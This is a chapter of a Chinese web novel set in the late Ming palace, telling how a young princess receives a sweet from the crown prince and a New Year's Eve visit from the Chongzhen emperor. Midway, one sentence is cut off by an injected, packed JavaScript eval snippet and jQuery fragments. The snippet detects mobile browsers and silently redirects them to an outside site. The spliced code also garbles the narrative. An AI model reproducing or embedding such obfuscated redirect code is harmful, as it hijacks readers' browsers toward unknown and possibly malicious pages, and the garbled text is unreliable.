第八章蛰
这场雪下了一天一夜。
宫道上铲开的路被重新盖住了三回，每回都是内侍们抄着铁锹出去，铲不到半个时辰，雪又把脚印填平。朱媺娖趴在窗台上数他们铲了几回，到傍晚时，她数到第三回。赵氏在身后给她套新棉袄，石榴红的料子，袖口镶了一圈白兔毛，毛尖蹭在她下巴上痒得她缩脖子。头发被赵氏盘成一个小单髻，第一次插了一支银簪子——不是母亲那支素银簪，是新打的，簪头是一朵拇指大的梅花，花蕊里嵌着一粒米珠。赵氏对着光端详了半天。公主真是长大了。
外面的鞭炮声比去年又稀了一些。朱媺娖站在西次间的门槛里面往外看。这是她在这个位置上度过的第四个正月。宫道对面的游廊下堆着一排冰棱，每根都有小臂长，檐角上还挂着半截没冻完的，在风里滴答滴答往下淌水。
太子来坤宁宫拜年的时候，外面已经黑透了。大哥穿着一身靛蓝色嵌暗金线的新袍，帽子上缀着两颗东珠，身后跟着提灯笼的内侍。他在正殿向母亲磕了头，祝了岁，然后退出来，站在西次间门口，端端正正行了个礼。
“二妹。”
“大哥。”
他从袖子里掏出一个油纸包，纸包上沁着薄薄一层糖霜。打开来是一颗有龙眼那么大的松子糖，裹着雪白的糖霜，糖霜上还印着他袖口的织金纹路。
“这是父皇赏的。年节里各宫都有——你的份在母后那儿。”
“那这颗呢？”
“这颗是我自己的。我没吃——给你。”他把糖放在她手心里，又补了一句，“是最大的一颗。”
她托着那颗糖，觉得它比看上去重。她抬头问他：“大哥，你前两年拿来的糕都是碎的。”
“母后说我牙吃多了甜的不好。红枣糕是碎的不妨事——反正碎的好藏袖子里。但父皇赏的糖，不能揣到碎的。我不想让你吃的第一颗父皇赏的糖，是碎成渣的。”
朱媺娖没有说话。她把糖小心地放在榻上的小碟子里，然后转回来，站正了。她双手在身前交叠，膝盖微微一屈，行了一个标准的万福礼。
“臣妹恭喜大哥。大哥被册封的时候，臣妹在西次间里没有出去观礼。今天补上。”
他愣了一拍，然后也跟着行了个礼，回得很认真：“多谢二妹。”
她直起身，看着他，说：“大哥，你以后会有好多先生的。他们教你的东西都不一样。如果他们说了不一样的话，你听谁的？”
他想了片刻，说：“谁说得对，我就听谁的。”
“如果有人的话听起来很对，但其实不对呢？”
“那就不要听他的。人不能同时听两个人的话，但可以同时把两个人的话都记下来自己想。”
她又点了点头。“大哥，你比上次来得更早了。今年还没来得及放烟花你就来了。”
“烟花有什么好看的。”他顿了顿，“好吧，是因为我跑来的。我怕来晚了你在门槛上站太久。母后说你天一黑就站在这里了。”
她没有回答。他把袍角一撩跨过门槛，走进雪地里。内侍提着灯笼在前面等他，他走了几步又回头，认真叮嘱了一句：“那颗糖别舍不得吃，放久了会长蚂蚁。”
她在他走后很久才把那颗糖放进嘴里。甜的，带一点松仁的微苦。
夜深约莫一更天。门口传来了脚步声。
不重，不急，左脚落地的声音比右脚稍微拖一点点——长年在御案前久坐，腰椎劳损。她认得。她从门槛后面站起来。
崇祯没有进门。他站在门槛外面，背着手，低着头，看着门槛里面这个只到他膝盖上面一点的小人。雪花落在他玄色氅衣的肩头，落在他的鬓角，落在他背在身后的手背上。他的袖口还是磨旧了的，氅衣领口的貂锋还是磨平了，靴面上今天没有泥印——今天是除夕，他没有骑马。
“父皇万安。”朱媺娖站正了。
“你在看什么？”
“回父皇的话，儿臣在看雪。”
他也抬头看了一眼雪。然后他低下头，看着她。他的胡茬比上次见时长了一些——大概过年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17654186|206916||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没顾上剃。
“朕听说，你认了很多字。”
“是母后教的。”
“不是千字文？”
“母后教完之后，儿臣自己看了些别的。《小学》《孝经》《女训》，都看了。”
他站在门外，没有说话。手在背后摩挲了一下——那是他批折子犹豫要不要下笔的习惯动作。
“你母亲说，你是有来历的。”
她仰着脸，透过飘落的雪花望着他。然后她往后退了半步，让出门槛内一小块干爽的地面，手在身前交叠，行了一个请安礼。然后她仰起脸，说出了那句她练习了很久的话：
“父皇，外面雪大。请父皇移驾进来避一避吧。”
他跨过门槛。
这是四年来他第四次走进西次间。第一次是她出生那天晚上，第二次是抓周，第三次是那个凉手的秋天傍晚。这一次是除夕夜，雪最大。他走进来几步停在她面前。她还是仰着头，他的影子完全盖住了她。
然后他伸出手，轻轻按了一下她的头顶。他的手很大，这一按几乎盖住了她整个脑门，像一块带着掌心温度的门楣。
“读点书。多读点。”他停了一下，声音放得比刚才更低，“以后这宫里的书房，你想进就进。”
她在空间里冻结了这一刻的全部参数：时间崇祯七年腊月三十亥时初刻。地点西次间门内。动作头顶按压。关键词：书房，想进就进。这句话是父亲第一次把“资源”递给她的时刻。
她缓缓跪下去，额头触在冰凉的金砖上。
“儿臣领旨。谢父皇隆恩。”
崇祯没有再说多余的话，跨出门槛走了。朱媺娖站起来，重新走到门槛后面，看着那片被新雪重新覆盖的宫道。大哥来过，留下了糖。父皇来过，留下了书房的钥匙和一句没有正式下旨但比任何圣旨都重的承诺。
她在空间里新建了一个文件夹，命名为“第二单元·发”。空白页上写下第一行字：
母后给了身份。父皇给了钥匙。现在，该开始干活了。